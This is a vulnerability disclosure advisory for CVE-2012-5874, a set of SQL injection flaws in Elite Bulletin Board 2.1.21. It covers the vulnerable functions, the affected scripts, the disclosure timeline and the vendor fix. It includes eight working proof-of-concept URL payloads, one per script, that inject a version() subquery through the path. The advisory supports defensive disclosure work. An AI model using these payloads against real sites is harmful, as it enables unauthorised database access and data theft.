Advisory ID: HTB23133 Product: Elite Bulletin Board Vendor: elite-board.us Vulnerable Version(s): 2.1.21 and probably prior Tested Version: 2.1.21 Vendor Notification: November 28, 2012 Vendor Patch: December 6, 2012 Public Disclosure: December 19, 2012 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2012-5874 CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) Solution Status: Fixed by Vendor Risk Level: High Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Elite Bulletin Board, which can be exploited to perform SQL injection attacks. 1) Multiple SQL injection vulnerabilities in Elite Bulletin Board: CVE-2012-5874 The vulnerabilities exist due to insufficient sanitation of user-supplied data in URI in the "update_whosonline_reg()" and "update_whosonline_guest()" functions within the "/includes/user_function.php" script. A remote attacker can send a specially crafted HTTP request to one of the following scripts and execute arbitrary SQL commands in application's database: - checkuser.php - groups.php - index.php - login.php - quicklogin.php - register.php - Search.php - viewboard.php - viewtopic.php Successful exploitation of the vulnerabilities may allow attacker to extract sensitive data from the application's database, and even get complete control over the application under certain conditions (such as insecure configuration of database and web servers). The following PoC (Proof of Concept) codes demonstrate the vulnerabilities by displaying version of the MySQL server: http://[host]/checkuser.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/groups.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const %28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/index.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/login.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/quicklogin.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_c onst%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/register.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_con st%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/viewboard.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2 http://[host]/viewtopic.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2&tid=1 ----------------------------------------------------------------------------------------------- Solution: Upgrade to Elite Bulletin Board v2.1.22 More Information: http://elite-board.us/Community/viewtopic.php?bid=1&tid=310 http://sourceforge.net/projects/elite-board/files/Elite%20Bulletin%20Board%20v2/2.1.22/ ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23133 - https://www.htbridge.com/advisory/HTB23133 - Multiple SQL Injection Vulnerabilities in Elite Bulletin Board.
